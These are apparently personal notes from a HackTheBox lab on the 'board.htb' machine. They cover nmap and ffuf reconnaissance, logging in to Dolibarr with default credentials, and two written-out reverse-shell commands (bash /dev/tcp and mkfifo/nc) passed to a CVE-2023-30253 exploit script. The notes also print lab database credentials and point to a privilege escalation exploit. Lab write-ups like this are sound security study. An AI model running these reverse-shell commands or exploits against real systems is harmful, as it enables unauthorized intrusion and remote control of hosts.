Broadlight - CVE and weak creds

ares@legion:~/HackTheBox$ sudo nmap -sVC -A -T4 10.129.150.227
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-10 10:33 EET
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 10:33 (0:00:06 remaining)
Nmap scan report for 10.129.150.227 (10.129.150.227)
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   51.94 ms 10.10.14.1 (10.10.14.1)
2   52.41 ms 10.129.150.227 (10.129.150.227)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.18 seconds

ares@legion:~/HackTheBox/Broadlight$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://board.htb/ -H 'Host: FUZZ.board.htb' -fs 15949

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 15949
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 64ms]
:: Progress: [4989/4989] :: Job [1/1] :: 751 req/sec :: Duration: [0:00:07] :: Errors: 0 ::

crm.board.htb > login page with default creds > Dolibarr before 17.0.1 Vulnerable to: https://github.com/Rubikcuv5/cve-2023-30253

python3 CVE-2023-30253.py -u admin -p admin -c "bash -i > /dev/tcp/10.10.14.183/4444 0>&1 2>&1"

alternative:

python3 CVE-2023-30253.py -u admin -p admin -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.183 4444 >/tmp/f"

cd /var/www/html/crm.board.htb/htdocs/conf/conf.php

$dolibarr_main_db_user=’dolibarrowner’; $dolibarr_main_db_pass=’serverfun2$2023!!’;

Nothing interesting in sql. SSH open vulnerable to: https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit